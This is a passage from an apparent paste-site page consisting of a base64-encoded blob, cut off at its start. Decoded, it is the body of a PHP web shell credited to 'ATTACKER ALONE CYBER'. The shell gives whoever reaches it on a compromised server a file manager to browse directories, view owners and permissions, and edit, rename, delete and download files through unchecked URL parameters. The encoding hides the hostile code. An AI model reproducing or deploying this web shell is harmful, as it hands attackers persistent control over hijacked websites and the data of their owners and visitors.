dKS4iJyBuYW1lPSdyZW5hbWUnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz4NCgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkb19yZW5hbWUnIHZhbHVlPSdyZW5hbWUnPg0KCTwvZm9ybT4iOw0KfSBlbHNlaWYoJF9HRVRbJ2FjdCddID09ICdkZWxldGUnKSB7DQoJJGRlbGV0ZSA9IHVubGluaygkX0dFVFsnZmlsZSddKTsNCglpZigkZGVsZXRlKSB7DQoJCSRhY3QgPSAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9kaXI9Ii4kZGlyLiInOzwvc2NyaXB0PiI7DQoJfSBlbHNlIHsNCgkJJGFjdCA9ICI8Zm9udCBjb2xvcj1yZWQ+cGVybWlzc2lvbiBkZW5pZWQ8L2ZvbnQ+IjsNCgl9DQoJZWNobyAkYWN0Ow0KfSBlbHNlIHsNCglpZihpc19kaXIoJGRpcikgPT09IHRydWUpIHsNCgkJaWYoIWlzX3JlYWRhYmxlKCRkaXIpKSB7DQoJCQllY2hvICI8Zm9udCBjb2xvcj1yZWQ+Y2FuJ3Qgb3BlbiBkaXJlY3RvcnkuICggbm90IHJlYWRhYmxlICk8L2ZvbnQ+IjsNCgkJfSBlbHNlIHsNCgkJCWVjaG8gJzx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCgkJCTx0cj4NCgkJCTx0aCBjbGFzcz0idGhfaG9tZSI+PGNlbnRlcj5OYW1lPC9jZW50ZXI+PC90aD4NCgkJCTx0aCBjbGFzcz0idGhfaG9tZSI+PGNlbnRlcj5UeXBlPC9jZW50ZXI+PC90aD4NCgkJCTx0aCBjbGFzcz0idGhfaG9tZSI+PGNlbnRlcj5TaXplPC9jZW50ZXI+PC90aD4NCgkJCTx0aCBjbGFzcz0idGhfaG9tZSI+PGNlbnRlcj5MYXN0IE1vZGlmaWVkPC9jZW50ZXI+PC90aD4NCgkJCTx0aCBjbGFzcz0idGhfaG9tZSI+PGNlbnRlcj5Pd25lci9Hcm91cDwvY2VudGVyPjwvdGg+DQoJCQk8dGggY2xhc3M9InRoX2hvbWUiPjxjZW50ZXI+UGVybWlzc2lvbjwvY2VudGVyPjwvdGg+DQoJCQk8dGggY2xhc3M9InRoX2hvbWUiPjxjZW50ZXI+QWN0aW9uPC9jZW50ZXI+PC90aD4NCgkJCTwvdHI+JzsNCgkJCSRzY2FuZGlyID0gc2NhbmRpcigkZGlyKTsNCgkJCWZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcngpIHsNCgkJCQkkZHR5cGUgPSBmaWxldHlwZSgiJGRpci8kZGlyeCIpOw0KCQkJCSRkdGltZSA9IGRhdGUoIkYgZCBZIGc6aTpzIiwgZmlsZW10aW1lKCIkZGlyLyRkaXJ4IikpOw0KCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KCQkJCQkkZG93bmVyID0gQHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigiJGRpci8kZGlyeCIpKTsNCgkJCQkJJGRvd25lciA9ICRkb3duZXJbJ25hbWUnXTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkvLyRkb3duZXIgPSAkdWlkOw0KCQkJCQkkZG93bmVyID0gZmlsZW93bmVyKCIkZGlyLyRkaXJ4Iik7DQoJCQkJfQ0KCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgew0KCQkJCQkkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoIiRkaXIvJGRpcngiKSk7DQoJCQkJCSRkZ3JwID0gJGRncnBbJ25hbWUnXTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkZGdycCA9IGZpbGVncm91cCgiJGRpci8kZGlyeCIpOw0KCQkJCX0NCiAJCQkJaWYoIWlzX2RpcigiJGRpci8kZGlyeCIpKSBjb250aW51ZTsNCiAJCQkJaWYoJGRpcnggPT09ICcuLicpIHsNCiAJCQkJCSRocmVmID0gIjxhIGhyZWY9Jz9kaXI9Ii5kaXJuYW1lKCRkaXIpLiInPiRkaXJ4PC9hPiI7DQogCQkJCX0gZWxzZWlmKCRkaXJ4ID09PSAnLicpIHsNCiAJCQkJCSRocmVmID0gIjxhIGhyZWY9Jz9kaXI9JGRpcic+JGRpcng8L2E+IjsNCiAJCQkJfSBlbHNlIHsNCiAJCQkJCSRocmVmID0gIjxhIGhyZWY9Jz9kaXI9JGRpci8kZGlyeCc+JGRpcng8L2E+IjsNCiAJCQkJfQ0KIAkJCQlpZigkZGlyeCA9PT0gJy4nIHx8ICRkaXJ4ID09PSAnLi4nKSB7DQogCQkJCQkkYWN0X2RpciA9ICI8YSBocmVmPSc/YWN0PW5ld2ZpbGUmZGlyPSRkaXInPm5ld2ZpbGU8L2E+IHwgPGEgaHJlZj0nP2FjdD1uZXdmb2xkZXImZGlyPSRkaXInPm5ld2ZvbGRlcjwvYT4iOw0KIAkJCQkJfSBlbHNlIHsNCiAJCQkJCSRhY3RfZGlyID0gIjxhIGhyZWY9Jz9hY3Q9cmVuYW1lX2RpciZkaXI9JGRpci8kZGlyeCc+cmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hY3Q9ZGVsZXRlX2RpciZkaXI9JGRpci8kZGlyeCc+ZGVsZXRlPC9hPiI7DQogCQkJCX0NCiAJCQkJZWNobyAiPHRyPiI7DQogCQkJCWVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4iQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuIi80WWNoZmZ6R1FoSDRZUllQQjJET2xIUGlLd3FkMVBxOHlyVlZnM1FZZUg1UllLNXJKZmFGVVVBM3ZCNGZCSUJBRHM9Jz4kaHJlZjwvdGQ+IjsNCgkJCQllY2hvICI8dGQgY2xhc3M9J3RkX2hvbWUnPjxjZW50ZXI+JGR0eXBlPC9jZW50ZXI+PC90ZD4iOw0KCQkJCWVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGNlbnRlcj4tPC9jZW50ZXI+PC90aD48L3RkPiI7DQoJCQkJZWNobyAiPHRkIGNsYXNzPSd0ZF9ob21lJz48Y2VudGVyPiRkdGltZTwvY2VudGVyPjwvdGQ+IjsNCgkJCQllY2hvICI8dGQgY2xhc3M9J3RkX2hvbWUnPjxjZW50ZXI+JGRvd25lci8kZGdycDwvY2VudGVyPjwvdGQ+IjsNCgkJCQllY2hvICI8dGQgY2xhc3M9J3RkX2hvbWUnPjxjZW50ZXI+Ii53KCIkZGlyLyRkaXJ4IixwZXJtcygiJGRpci8kZGlyeCIpKS4iPC9jZW50ZXI+PC90ZD4iOw0KCQkJCWVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZScgc3R5bGU9J3BhZGRpbmctbGVmdDogMTVweDsnPiRhY3RfZGlyPC90ZD4iOw0KCQkJCWVjaG8gIjwvdHI+IjsNCgkJCX0NCgkJfQ0KCX0gZWxzZSB7DQoJCWVjaG8gIjxmb250IGNvbG9yPXJlZD5jYW4ndCBvcGVuIGRpcmVjdG9yeS48L2ZvbnQ+IjsNCgl9DQoJCWZvcmVhY2goJHNjYW5kaXIgYXMgJGZpbGUpIHsNCgkJCSRmdHlwZSA9IGZpbGV0eXBlKCIkZGlyLyRmaWxlIik7DQoJCQkkZnRpbWUgPSBkYXRlKCJGIGQgWSBnOmk6cyIsIGZpbGVtdGltZSgiJGRpci8kZmlsZSIpKTsNCgkJCSRzaXplID0gZmlsZXNpemUoIiRkaXIvJGZpbGUiKS8xMDI0Ow0KCQkJJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsNCgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KCQkJCSRmb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIkZGlyLyRmaWxlIikpOw0KCQkJCSRmb3duZXIgPSAkZm93bmVyWyduYW1lJ107DQoJCQl9IGVsc2Ugew0KCQkJCS8vJGRvd25lciA9ICR1aWQ7DQoJCQkJJGZvd25lciA9IGZpbGVvd25lcigiJGRpci8kZmlsZSIpOw0KCQkJfQ0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7DQoJCQkJJGZncnAgPSBAcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCIkZGlyLyRmaWxlIikpOw0KCQkJCSRmZ3JwID0gJGZncnBbJ25hbWUnXTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZncnAgPSBmaWxlZ3JvdXAoIiRkaXIvJGZpbGUiKTsNCgkJCX0NCgkJCWlmKCRzaXplID4gMTAyNCkgew0KCQkJCSRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4gJ01CJzsNCgkJCX0gZWxzZSB7DQoJCQkJJHNpemUgPSAkc2l6ZS4gJ0tCJzsNCgkJCX0NCgkJCWlmKCFpc19maWxlKCIkZGlyLyRmaWxlIikpIGNvbnRpbnVlOw0KCQkJZWNobyAiPHRyPiI7DQoJCQllY2hvICI8dGQgY2xhc3M9J3RkX2hvbWUnPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBWmlTMGRFQVA4QS93RC9vTDJua3dBQUFBbHdTRmx6QUFBTEV3QUFDeE1CQUpxY0dBQUFBQWQwU1UxRkI5b0pCaGNUSnYyQjJkNEFBQUpNU1VSQlZEakxiWk85VGh4WkVJVy9xbHZkdE0zOEJOZ0pRbVFnSkdkK0EvTVFCTHdHaml3SDNud2RrU0x0TzJ4RVJHNUxxeFhSU0lSMllEZkQ0R2tHTTBQM3JiNGI5UEF6MGw3cFNsV2xXMGZubkxvbEFJUEI0UFhoNGVGdW51Y0FJSUx3ZEVTZVp5QWlmbnA2K3U5b05MbzNnTTNOelRkSFIrLy96dkpNelN5SktLb2RpSWc4QVhheGVJejFiRFo3TXhxTmZ0Z1NVUkRXeTdMVW5aMGRZbXhBRkFWRWxJNkFFQ3lnSXNRUXNpekxCT0FCQURPaktBcHFoN3U3R29DVVdpd1liZXRvVUhyclBjd0Nxb0YyS1VlWEx6RXpCdjArdVFtU0hNRVo5RjZTWmNyNmk0SXNCT2EvYjdIUU1hSHRJQXdnTGRIYWxEQTFldjBlUWJTanJFclF3SnBxRjRlQXgvaG9xRDEzMm1Na0pyaTV1U09sRmhFaHBVUUlpb2p3YW1PRE5zbGpmVVdDcXBMbk9hYUNTS0p0bmFCQ3NaWWpBbGxtWEk0dmFlb2FWWDBjYlNkaG1VUjN6QUt2TmpZNlZpb28wdFd6Z0VvbktiVytLa0dXdDNVbnQwQ2VHZkpzOWcrVVUwckVHSEgvSHcvTWpINi9UK1BPZEZvUk5LQ2hNMjJ4bU9QZXNwalBHUTZIcE5RMjd0NnNBQ0RTTmFueW9sakRMRWRWYUZPTGU4WmtVaks1dWtxM3Q3OWxQQzcvT0RrNUdhK1k2TzVNcXltTnczVjF5M2h5emZYMGhxdkpMeWJYRmQrK2YyZDNkMGRtcytxdmc0T0R6OGZIeDAvTHNiZTM5NjRzUzcrNHVFanVucHFtU2U2ZTNEM041L04wV1pidGx5OWYwOW5aMlovYjI5djJmTEVldnZLOXF2N2MydG9LaThVaWlRaXFIYm02cmlXNmExM2ZuK3p2NzMrb3FvcmhjTGdLVUZYVlArZm41MitMb25qOElMSjBQOFpJQ0NGOS9QVHBDbGhwQnZnUGVsb0w5VTU1TklBQUFBQUFTVVZPUks1Q1lJST0nPjxhIGhyZWY9Jz9hY3Q9dmlldyZkaXI9JGRpciZmaWxlPSRkaXIvJGZpbGUnPiRmaWxlPC9hPjwvdGQ+IjsNCgkJCWVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGNlbnRlcj4kZnR5cGU8L2NlbnRlcj48L3RkPiI7DQoJCQllY2hvICI8dGQgY2xhc3M9J3RkX2hvbWUnPjxjZW50ZXI+JHNpemU8L2NlbnRlcj48L3RkPiI7DQoJCQllY2hvICI8dGQgY2xhc3M9J3RkX2hvbWUnPjxjZW50ZXI+JGZ0aW1lPC9jZW50ZXI+PC90ZD4iOw0KCQkJZWNobyAiPHRkIGNsYXNzPSd0ZF9ob21lJz48Y2VudGVyPiRmb3duZXIvJGZncnA8L2NlbnRlcj48L3RkPiI7DQoJCQllY2hvICI8dGQgY2xhc3M9J3RkX2hvbWUnPjxjZW50ZXI+Ii53KCIkZGlyLyRmaWxlIixwZXJtcygiJGRpci8kZmlsZSIpKS4iPC9jZW50ZXI+PC90ZD4iOw0KCQkJZWNobyAiPHRkIGNsYXNzPSd0ZF9ob21lJyBzdHlsZT0ncGFkZGluZy1sZWZ0OiAxNXB4Oyc+PGEgaHJlZj0nP2FjdD1lZGl0JmRpcj0kZGlyJmZpbGU9JGRpci8kZmlsZSc+ZWRpdDwvYT4gfCA8YSBocmVmPSc/YWN0PXJlbmFtZSZkaXI9JGRpciZmaWxlPSRkaXIvJGZpbGUnPnJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YWN0PWRlbGV0ZSZkaXI9JGRpciZmaWxlPSRkaXIvJGZpbGUnPmRlbGV0ZTwvYT4gfCA8YSBocmVmPSc/YWN0PWRvd25sb2FkJmRpcj0kZGlyJmZpbGU9JGRpci8kZmlsZSc+ZG93bmxvYWQ8L2E+PC90ZD4iOw0KCQkJZWNobyAiPC90cj4iOw0KCQl9DQoJCWVjaG8gIjwvdGFibGU+IjsNCgkJaWYoIWlzX3JlYWRhYmxlKCRkaXIpKSB7DQoJCQkvLw0KCQl9IGVsc2Ugew0KCQkJZWNobyAiPGhyPiI7DQoJCX0NCgllY2hvICI8Y2VudGVyPkNvcHlyaWdodCAmY29weTsgIi5kYXRlKCJZIikuIiAtIDxhIGhyZWY9J2h0dHA6Ly93d3cuYXR0YWNrZXJhbG9uZS1jeWJlci5ibG9nc3BvdC5jb20nIHRhcmdldD0nX2JsYW5rJz48Zm9udCBjb2xvcj1yZWQ+QVRUQUNLRVIgQUxPTkUgQ1lCRVI8L2ZvbnQ+PC9hPjwvY2VudGVyPiI7DQp9DQo/Pg0KPC9odG1sPg==
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement